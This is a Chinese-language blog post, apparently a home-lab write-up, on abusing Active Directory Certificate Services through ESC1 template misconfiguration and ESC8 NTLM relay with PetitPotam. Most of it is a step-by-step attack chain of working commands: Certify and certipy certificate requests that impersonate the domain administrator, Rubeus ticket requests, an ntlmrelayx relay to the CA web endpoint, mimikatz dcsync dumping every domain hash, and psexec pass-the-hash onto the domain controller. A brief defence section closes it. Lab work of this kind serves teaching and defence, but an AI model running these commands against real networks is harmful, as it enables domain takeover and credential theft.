ADCS相关利用
2024-09-27 10:59:09

概述

Active Directory Certificate Services (ADCS) 是微软 Windows Server 操作系统中的一个角色,主要用于构建和管理公钥基础设施(PKI)。

Kerberos认证过程

image-20240924104915455

PKINIT认证

PKINIT(Public Key Infrastructure for Initial Authentication)是Kerberos协议的一个扩展,它允许使用公钥证书进行初始身份认证。与传统的Kerberos身份验证相比,PKINIT提供了一种基于公钥加密的认证机制,增强了安全性。

在PKINIT认证过程中,客户端和Kerberos认证服务器(KDC)使用证书和私钥进行通信,而不是使用密码或密钥散列。以下是PKINIT认证的基本步骤:

  1. 证书注册:客户端生成一对公钥和私钥,并把公钥证书送至证书颁发机构(CA)签名。CA对客户端的公钥进行签名,并颁发证书给客户端。KDC也需要一个由CA颁发的证书,以便客户端可以验证KDC的身份。
  2. PKINIT认证请求:在Kerberos的AS-REQ(Authentication Service Request)消息中,客户端会附上它的证书和用私钥签名的请求。KDC使用客户端证书中的公钥进行解密,并验证签名是否有效。确认有效之后返回使用证书公钥加密的 TGT 并且消息是使用 KDC 私钥签名,客户端使用 KDC 公钥进行签名校验,随后使用证书私钥解密成功拿到 TGT。
  3. 会话密钥交换:一旦认证成功,KDC和客户端将使用Diffie-Hellman密钥交换或其他机制来安全地协商一个会话密钥。

证书模板

证书模板是用于定义证书属性和颁发规则的预设配置,它在公钥基础设施(PKI)中用于指导证书颁发机构(CA)自动颁发具有特定属性和用途的证书。

简单来说,就是不同证书可以发挥不同的作用,利用证书模板来决定这个证书可以用来干什么。

通过控制面板-管理工具-证书颁发机构可以看到所有的证书模板。

image-20240924111154747

应用程序策略 (oid)

当创建证书模板时,可以指定一系列的OID,这些OID定义了证书的用途和它们的扩展属性。

然而只有包含了 Client Authentication(客户端身份认证)、PKINIT Client AuthenticationSmart Card Logon(智能卡登录)、Any Purpose(任何目的)、SubCA 时,对应的证书才能充当 PKINIT 身份认证凭据。

image-20240924113036880

环境说明:

1
2
3
4
5
主域控:192.168.74.138	主机名:WIN-KD9M44NUV16  域名:lyy.com
辅域控:192.168.74.143
域内机器:192.168.74.142
域用户:user1/Wsx123.
kali:192.168.74.135

环境搭建可参考ADCS小结

由于ESC8漏洞涉及到NTLM RELAY,然而微软在ms08-068中对Relay到自身机器做了限制,严禁Relay到机器自身所以这里必须要搭建ADCS服务器+域控服务器ADCS搭在域控上+辅域控

ADCS漏洞–ESC1

条件

1、我们需要有权限去获取(注册)证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启

配置

对于第一个条件,直接在域控里赋予Domain Users组注册权限即可

image-20240924144326786

对于第二个条件需在拓展应用程序策略中加入客户端身份验证

image-20240924144437546

第三个条件则需要在使用者名称中选择在请求中提供

image-20240924144637011

复现

1
net user /add user1 Wsx123. /domain #创建user1用户

使用Certify.exe(exe版本可在此处下载)同时需要有个Interop.CERTENROLLLib.dll(可通过nuget下载nupkg文件后通过解压工具提取),且需要.NET环境。

image-20240924092923460

检测是否存在证书配置错误

1
Certify.exe find /vulnerable

可以看到发现了一个错误的的证书模板

image-20240924093850305

定位CA机器

1
certutil -config - -ping

image-20240924094100168

获取证书

1
Certify.exe request /ca:WIN-KD9M44NUV16.lyy.com\lyy-WIN-KD9M44NUV16-CA /template:ESC1 /altname:administrator

image-20240924095350038

-----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----复制保存为cert.pem

用kali上的openssl将cert.pem换算为cert.pfx,不需要输入密码

1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

image-20240924095651936

使用Rubeusexe下载)获取administrator管理员的TGT

1
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.74.138 /ptt

image-20240924100511554

klist查看当前缓存的 Kerberos 票据

image-20240924101541924

查看域控c盘下的文件

1
dir \\WIN-KD9M44NUV16\c$

image-20240924100821971

也可以在kali使用certipy来进行利用

安装certipy

1
pip3 install certipy-ad

查询对于用户user1存在哪些证书模板可利用

1
certipy find -u user1@lyy.com -p Wsx123. -dc-ip 192.168.74.138 -vulnerable -debug -vulnerable

image-20240924144808728

可以看到35个证书模板中颁布了12个模板,其中1个模板存在漏洞,查看具体的漏洞信息可以发现检测出来了ESC1漏洞

image-20240924145046116

通过-upn参数去获取administrator的证书

1
certipy req -u user1@lyy.com -p Wsx123. -ca lyy-WIN-KD9M44NUV16-CA -target-ip 192.168.74.138 -template ESC1 -upn administrator@lyy.com

获取用户hash

1
certipy auth -pfx 111.pfx -dc-ip 192.168.74.138

image-20240924150732833

对于不同的证书模板有不同的利用方式,具体可参考利用ADCS不安全模板配置提升域权限

ADCS漏洞–ESC8(PetitPotam)(ADCS relay)

由于在ADCS的认证中支持NTLM认证,所以可使用ntlm relay窃取用户HASH

image-20240924152530626

访问http://192.168.74.138/certsrv/certfnsh.asp发现需要用户认证

image-20240925134239826

复现

使用ntlmrelayx.py将证书颁发机构 (CA) 设置为中继目标,开启监听

1
2
3
4
5
6
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
pip3 install .
python3 setup.py install

python3 ntlmrelayx.py -t http://192.168.74.138/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'

image-20240925095204623

--adcs:这个参数用于指示攻击者想要利用 Active Directory 证书服务 (ADCS) 的漏洞。ADCS 是 Windows Server 中的一个角色服务,用于颁发和管理系统的公钥基础结构 (PKI) 证书。--template 'Domain Controller':这个参数后面跟着的是模板名称,用于指示 ntlmrelayx 在执行攻击时应该模仿哪种类型的服务或计算机。在这个例子中,使用了 ‘Domain Controller’ 模板,意味着攻击者试图模仿域控制器的行为。

使用PetitPotam进行攻击

1
python PetitPotam.py -u '' -d '' -p '' 192.168.74.135(攻击机中转,回连地址) 192.168.74.143(辅域)

image-20240925132432111

PetitPotam漏洞利用了微软加密文件系统远程协议(MS-EFSRPC,MicroSoft Encrypting File System Remote Protocol)。MS-EFSRPC是 Microsoft 的加密文件系统远程协议,用于对远程存储和通过网络访问的加密数据执行“维护和管理操作”。利用该漏洞,黑客通过连接到LSARPC强制触发目标机器向指定远程服务器发送Net-NTLM Hash,从而攻击者在拿到Net-NTLM Hash后能进行NTLM Relay攻击,进而接管整个域。

ntlmrelayx.py捕获到了ntlm认证,并将认证信息保存到了WIN-6K645OMCGG8$.pfx文件中

image-20240925132546613

使用Rubeus.exe获取凭证信息

1
Rubeus.exe asktgt /user:WIN-6K645OMCGG8$ /certificate:WIN-6K645OMCGG8$.pfx /dc:192.168.74.138 /ptt

使用mimikatz提取票据中的密码hash

1
lsadump::dcsync /all /csv /domain:lyy.com

image-20240925133720334

通过PTH成功在域控上执行了命令

1
python3 psexec.py lyy/administrator@192.168.74.138 -hashes :70834250207c9b16a3e6cd8c9d3a8054

image-20240925134053918

防御

​ 1.关闭证书服务的web端点,或者开启SSL认证

​ 2.开启NTML中继保护

KB5005413:缓解 Active Directory 证书服务上的 NTLM 中继攻击 (AD CS)

参考:

ADCS中的ntlm relay

ADCS小结

ADCS 攻击面挖掘与利用

利用ADCS不安全模板配置提升域权限